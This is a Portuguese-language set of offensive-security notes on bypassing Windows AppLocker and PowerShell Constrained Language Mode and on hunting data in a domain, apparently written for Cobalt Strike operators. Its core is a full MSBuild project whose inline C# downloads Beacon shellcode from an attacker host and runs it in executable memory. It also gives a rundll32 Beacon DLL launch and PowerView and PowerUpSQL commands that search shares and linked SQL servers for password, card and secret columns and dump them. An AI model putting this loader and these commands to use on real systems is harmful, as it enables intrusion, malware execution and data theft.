Permissões de Aplicativos
AppLocker
AppLocker é uma tecnologia de lista de permissões de aplicativos integrada ao sistema operacional Windows. Seu objetivo é restringir aplicativos e scripts que podem ser executados em uma máquina, definidos por meio de um conjunto de políticas enviadas via GPO. As regras podem ser baseadas em atributos de arquivo como editor, nome, versão, hash ou caminho; eles podem ser "permitir" ou negar"; e podem ser atribuídos a um usuário individual ou a um grupo. O AppLocker também alterará o modo de idioma do PowerShell de FullLanguage
para ConstrainedLanguage
. Isso restringe os tipos .NET que podem ser usados, evitando Add-Type
com qualquer C# arbitrário, bem como New-Object em tipos que não são especificamente permitidos. Execute o comando abaixo para saber qual linguagem do Powershell está em uso no momento
$ExecutionContext.SessionState.LanguageMode
A política pode ser lida em dois locais: diretamente no GPO ou no registro local da máquina à qual está aplicada. A leitura do GPO é o mesmo processo do LAPS - encontre o GPO, baixe o arquivo Registry.pol
do gpcfilesyspath
e analise com Parse-PolFile
.
powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powershell Get-DomainGPO -Domain <domain.local> | ? { $_.DisplayName -like "*AppLocker*" } | select displayname, gpcfilesyspath
Caso encontre algum resultado, baixe o leia o arquivo
# Jogue localmente para a máquina após executar o comando abaixo
download <gpcfilesyspath>\Machine\Registry.pol
# Lendo o arquivo (Windows fora do CS)
Parse-PolFile <C:\path\to\Registry.pol>
Se quisermos localizar um KeyName
no registro, basta executar o regedit
e depois procurar pela chave, por exemplo, Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\<valor>"
. Alguns desses campos são bem descritivos, analisando bem os valores de ValueData
, podemos encontrar informaçõs úteis sobre o propósito de cada política. Um fato importante, é que as regras de DLL geralmente não são aplicadas. Isso porque, a Microsoft afirma que isso pode afetar o desempenho do sistema. Nesse cenário, iremos ver o ValueData
definio como 0
, quando temos o KeyName
terminado com Dll
.
LOLBAS (Living Off The Land)
Em resumo, é a utilização de próprios recursos do Windows para realizar bypass e termos acessos que não poderiam ser permitidos. Como exemplo, iremos utilizar o MSBuild
para realizarmos bypass e montarmos um Beacon. Primeiro, crie um arquivo no host alvo chamado test.csproj
(ou utilize o nome que preferir), com o seguinte conteúdo.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="MSBuild">
<MSBuildTest/>
</Target>
<UsingTask
TaskName="MSBuildTest"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Net;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class MSBuildTest : Task, ITask
{
public override bool Execute()
{
byte[] shellcode;
using (var client = new WebClient())
{
client.BaseAddress = "http://<ip>/";
shellcode = client.DownloadData("beacon.bin");
}
var hKernel = LoadLibrary("kernel32.dll");
var hVa = GetProcAddress(hKernel, "VirtualAlloc");
var hCt = GetProcAddress(hKernel, "CreateThread");
var va = Marshal.GetDelegateForFunctionPointer<AllocateVirtualMemory>(hVa);
var ct = Marshal.GetDelegateForFunctionPointer<CreateThread>(hCt);
var hMemory = va(IntPtr.Zero, (uint)shellcode.Length, 0x00001000 | 0x00002000, 0x40);
Marshal.Copy(shellcode, 0, hMemory, shellcode.Length);
var t = ct(IntPtr.Zero, 0, hMemory, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(t, 0xFFFFFFFF);
return true;
}
[DllImport("kernel32", CharSet = CharSet.Ansi)]
private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
[DllImport("kernel32", CharSet = CharSet.Ansi)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr AllocateVirtualMemory(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
No CS Client, vá no Menu Site Manager
> Host File
e configure o File
para http_x64.xprocess.bin
e Local URI
defina como beacon.bin
. Agora vá no host alvo e execute o comando abaixa para ter acesso ao Beacon.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe <C:\path\test.csproj>
PowerShell CLM
Se você tentar executar um script ou comando no PowerShell e vir um erro como only core types in this language mode
, saberá que está operando em um ambiente restrito. Se você encontrar um desvio do AppLocker para executar código arbitrário, também poderá sair do PowerShell Constrained Language Mode
usando um runspace não gerenciado do PowerShell. Execute o comando abaixo para saber qual linguagem do Powershell está em uso no momento
$ExecutionContext.SessionState.LanguageMode
Powerpick
Utilizando o powerpick para ter a linguagem FullLanguage
.
powerpick $ExecutionContext.SessionState.LanguageMode
MSBuild
Isso também pode ser feito em C# (usando o MSBuild como exemplo anterior). Crie um arquivo chama test2.csproj
com o seguinte conteúdo:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="MSBuild">
<MSBuildTest/>
</Target>
<UsingTask
TaskName="MSBuildTest"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Linq;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class MSBuildTest : Task, ITask
{
public override bool Execute()
{
using (var runspace = RunspaceFactory.CreateRunspace())
{
runspace.Open();
using (var posh = PowerShell.Create())
{
posh.Runspace = runspace;
posh.AddScript("$ExecutionContext.SessionState.LanguageMode");
var results = posh.Invoke();
var output = string.Join(Environment.NewLine, results.Select(r => r.ToString()).ToArray());
Console.WriteLine(output);
}
}
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Agora execute:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe <C:\path\test2.csproj>
Beacon DLL
Conforme mencionado anteriormente, a imposição de DLL geralmente não é habilitada, o que nos permite chamar funções exportadas de DLLs no disco via rundll32. Faça upload do arquivo http_x64.dll
para a máquina alvo e depois execute:
C:\Windows\System32\rundll32.exe <C:\path\to\http_x64.dll,StartW>
Data Hunting & Exifiltration
PowerView
Find-DomainShare
do PowerView
procura compartilhamentos de computador no Domínio. O parâmetro -CheckShareAccess
mostra apenas os compartilhamentos aos quais o usuário atual tem acesso de leitura.
powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powershell Find-DomainShare -CheckShareAccess
Find-InterestingDomainShareFile
vai um passo além e pesquisa cada compartilhamento, retornando resultados onde as strings especificadas aparecem no caminho
powershell Find-InterestingDomainShareFile -Include *.doc*, *.xls*, *.csv, *.ppt*, *.sql, *.txt
Caso ache algum arquivo que seja interessante, é possível lê-lo remotamente
powershell gc \\<host.subdomain.domain.local>\<dir$>\<file>
PowerUpSQL
PowerUpSQL fornece vários cmdlets projetados para pesquisa e extração de dados. Um desses cmdlets é Get-SQLColumnSampleDataThreaded
, que pode pesquisar uma ou mais instâncias em busca de bancos de dados que contenham palavras-chave específicas nos nomes das colunas. Altere as palavras-chave de acordo com a cenário em que esteja atuando e é claro, utilize um usuário com os devidos privilégios.
powershell-import C:\Tools\PowerUpSQL\PowerUpSQL.ps1
powershell Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "senha,email,mail,pass,credit,secret,key,card" -SampleSize 5 | select instance, database, column, sample | ft -autosize
Até então, isso só pode pesquisar as instâncias às quais você tem acesso direto, pois ele não atravessará nenhum link SQL. Para pesquisar os links, precisamos utilizar o seguinte comando:
powershell Get-SQLQuery -Instance "<Instance-host-sql-2>" -Query "select * from openquery(""<host-sql-1.domain.local>"", 'select * from information_schema.tables')"
Na saída do comando acima, podemos ver o nome da(s) tabela(s), então agora podemos ver as coluna dessa(s) tabela(s).
powershell Get-SQLQuery -Instance "<Instance-host-sql-2>" -Query "select * from openquery(""<host-sql-1.domain.local>"", 'select column_name from master.information_schema.columns where table_name=''<tabela>''')"
E por último, vamos fazeer um dump dos dados dessa tabela.
powershell Get-SQLQuery -Instance "<Instance-host-sql-2>" -Query "select * from openquery(""<host-sql-1.domain.local>"", 'select <coluna_1,coluna_2,coluna_3,coluna_4> from master.dbo.<tabela>')"
Sites
# LOLBAS
https://lolbas-project.github.io/
Last updated
Was this helpful?